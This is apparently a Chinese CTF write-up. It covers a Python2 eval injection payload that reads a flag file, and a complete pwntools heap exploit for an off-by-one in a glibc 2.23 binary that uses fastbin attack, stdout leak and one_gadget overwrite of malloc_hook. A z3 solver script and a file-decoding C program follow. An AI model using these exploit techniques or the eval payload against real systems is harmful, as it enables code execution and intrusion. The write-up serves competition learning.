也是很久没做堆题了,一道堆题要肝好长时间才能肝出来or2
就当作学习一波吧
PWN
babyjsc
附件完全看不懂,但是nc连接服务器
python2里的
input
,相当于eval(raw_input())
然后就没有然后了
payload:
__import__("os").popen("cat /home/ctf/flag").read()
easybox
开始没搞清楚题目环境,在tcache下搞了很久才发现是libc-2.23.so
例行检查
主要函数
没有show函数泄露地址
存在off-by-one漏洞
思路:
-
fastbin attack任意地址写
构造堆块重叠,实现任意地址写:让chunk既在fastbin中又在unsorted_bin中,则这个chunk的fd指针指向
main_arena+88
,从unsorted_bin中申请这个chunk,只输入两字节覆盖的fd指针低字节从而让fd指向目标地址之前(_IO_2_1_stdout
地址之前、malloc_hook之前)的一个地址(绕过size的验证),将chunk分配到目标地址上 -
利用
_IO_2_1_stdout
泄露libc地址,计算基地址 -
将one_gadget写入malloc_hook
exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
elf=ELF('./pwn')
libc=ELF('libc-2.23.so')
def add(content,idx,size):
p.recvuntil('>>>')
p.sendline('1')
p.recvuntil('idx:')
p.sendline(str(idx))
p.recvuntil('len:')
p.sendline(str(size))
p.recvuntil('content:')
p.send(content)
def delete(idx):
p.recvuntil('>>>')
p.sendline('2')
p.recvuntil('idx:')
p.sendline(str(idx))
def pwn():
add('aaa',0,0x30)
add('aaa',1,0x100)
add('aaa',2,0x60)
add('aaa',3,0x30)
add('aaa',4,0x20)
delete(0)
delete(2)
add('b'*0x38+'\xc1',0,0x38)#10+70+40=c0 让chunk1与chunk2、chunk3重叠
delete(1)
add('aaa',1,0x100)
add('\xdd\x25',2,0x90)#从unsorted_bin中申请chunk,覆盖fd低位(需要爆破半字节),所以申请0x90
#此时fastbin中同样地址的chunk的size已改为0x90
#需要利用上一个相邻chunk的off-by-one修改为0x71
delete(1)
add('c'*0x108+'\x71',1,0x108)
add('ddd',5,0x60)#从fastbin中申请fd指向_IO_2_1_stdout的chunk
#0x7fxxxxxxx620-0x7fxxxxxxx5dd=0x43
#0x43-0x10=0x33
add('\x00'*0x33 + p64(0xfbad1800) +p64(0)*3 + p8(0x88),5,0x60)
libc_addr = u64(p.recvuntil("\x7f",timeout=0.2)[-6:].ljust(8,'\x00'))
if libc_addr == 0:
exit(-1)
libc_base = libc_addr - 0x3C48E0
print 'libc base = '+str(hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
print 'malloc_hook = '+str(hex(malloc_hook))
onegadget = libc_base+0xf1207
addr = malloc_hook-0x23
#故技重施写malloc_hook
add('aaa',6,0x10)
add('aaa',7,0x100)
add('aaa',8,0x60)
add('aaa',9,0x30)
add('aaa',10,0x20)
delete(6)
delete(8)
add('b'*0x18+'\xc1',0,0x18)
delete(7)
add('aaa',7,0x100)
add(p64(addr),8,0x90)
delete(7)
add('c'*0x108+'\x71',7,0x108)
add('ddd',11,0x60)
add('\x00\x00\x00'+p64(0)+p64(0)+p64(onegadget),12,0x60)
p.recvuntil(">>>")
p.sendline("1")
p.recvuntil("idx:")
p.sendline('6')
p.recvuntil("len:")
p.sendline('1')
p.interactive()
if __name__ == "__main__":
while True:
p = process('./pwn')
#p = remote("101.200.53.148 ", 34521)
try:
pwn()
except:
p.close()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
RE
z3
ida打开
逻辑很简单,就是将&unk_404020
处的数据作为约束解出需要输入的字符串
&unk_404020
处的数据:
int类型四个字节,可以整理出v4到v45的值
还需要z3约束求解器
python2.7 -m pip install z3-solver
将v46到v87的字符串中每个字符设为未知数求解方程
解密脚本
from z3 import *
v46=Int('v46')#设为未知数
v47=Int('v47')
v48=Int('v48')
v49=Int('v49')
v50=Int('v50')
v51=Int('v51')
v52=Int('v52')
v53=Int('v53')
v54=Int('v54')
v55=Int('v55')
v56=Int('v56')
v57=Int('v57')
v58=Int('v58')
v59=Int('v59')
v60=Int('v60')
v61=Int('v61')
v62=Int('v62')
v63=Int('v63')
v64=Int('v64')
v65=Int('v65')
v66=Int('v66')
v67=Int('v67')
v68=Int('v68')
v69=Int('v69')
v70=Int('v70')
v71=Int('v71')
v72=Int('v72')
v73=Int('v73')
v74=Int('v74')
v75=Int('v75')
v76=Int('v76')
v77=Int('v77')
v78=Int('v78')
v79=Int('v79')
v80=Int('v80')
v81=Int('v81')
v82=Int('v82')
v83=Int('v83')
v84=Int('v84')
v85=Int('v85')
v86=Int('v86')
v87=Int('v87')
solver=Solver()
#Solver()创建一个通用求解器
#add()添加约束条件
solver.add(34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52==0x4f17)
solver.add(27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52==0x9cf6)
solver.add(24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52==0x8ddb)
solver.add(78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52==0x8ea6)
solver.add(48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52==0x6929 )
solver.add(15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52==0x9911)
solver.add(26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52==0x40a2 )
solver.add(34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59==0x2f3e )
solver.add(27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59==0x62b6 )
solver.add(24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59==0x4b82 )
solver.add(78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59==0x486c )
solver.add(48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59==0x4002 )
solver.add(15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59==0x52d7 )
solver.add(26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59==0x2def )
solver.add(34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66==0x28dc )
solver.add(27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66==0x640d )
solver.add(24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66==0x528f )
solver.add(78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66==0x613b )
solver.add(48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66==0x4781 )
solver.add(15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66==0x6b17 )
solver.add(26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66==0x3237 )
solver.add( 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73==0x2a93)
solver.add( 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73==0x615f)
solver.add( 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73==0x50be)
solver.add( 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73==0x598e)
solver.add( 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73==0x4656)
solver.add( 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73==0x5b31)
solver.add( 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73==0x313a)
solver.add( 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80==0x3010)
solver.add( 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80==0x67fe)
solver.add( 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80==0x4d5f)
solver.add( 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80==0x58db)
solver.add( 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80==0x3799)
solver.add(15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80==0x60a0 )
solver.add(26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80==0x2750 )
solver.add(34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87==0x3759 )
solver.add(27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87==0x8953 )
solver.add(24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87==0x7122)
solver.add(78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87==0x81f9 )
solver.add(48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87==0x5524 )
solver.add(15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87==0x8971 )
solver.add(26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87==0x3a1d )
#check()解决声明的约束条件,sat结果表示找到某个合适的解,unsat结果表示没有解
if solver.check()==sat:
m=solver.model()
print(m)
MISC
电脑被黑
misc爷爷分离出了flag.txt和demo
ida打开demo
函数逻辑是以二进制的方式打开文件,按字节读取进行运算后再写入文件
开始以为只是把flag放进去运行就可以了,后来才想到flag.txt应该才是修改后的文件
写解密脚本(没用过python的文件操作,所以直接复制ida伪代码,修改运算规则后gcc编译)
#include<stdio.h>
int main(int argc, const char **argv, const char **envp)
{
int result; // eax
char v4; // [rsp+1Dh] [rbp-13h]
char v5; // [rsp+1Eh] [rbp-12h]
char v6; // [rsp+1Fh] [rbp-11h]
FILE *v7; // [rsp+20h] [rbp-10h]
FILE *stream; // [rsp+28h] [rbp-8h]
v4 = 34;
v5 = 0;
v7 = fopen(argv[1], "rb");
if ( v7 ){
stream = fopen(argv[1], "rb+");
if ( stream ){
while ( 1 ){
v6 = fgetc(v7);
printf("%x",v6);
if ( v6 == -1 )
break;
fputc((v6 ^ v4)-v5, stream);
v4 += 34;
v5 = (v5 + 2) & 0xF;
}
fclose(v7);
fclose(stream);
result = 0;
}
else{
printf("cannot open file", "rb+", argv);
result = 0;
}
}
else{
printf("cannot open this file", "rb", argv);
}
return 0;
}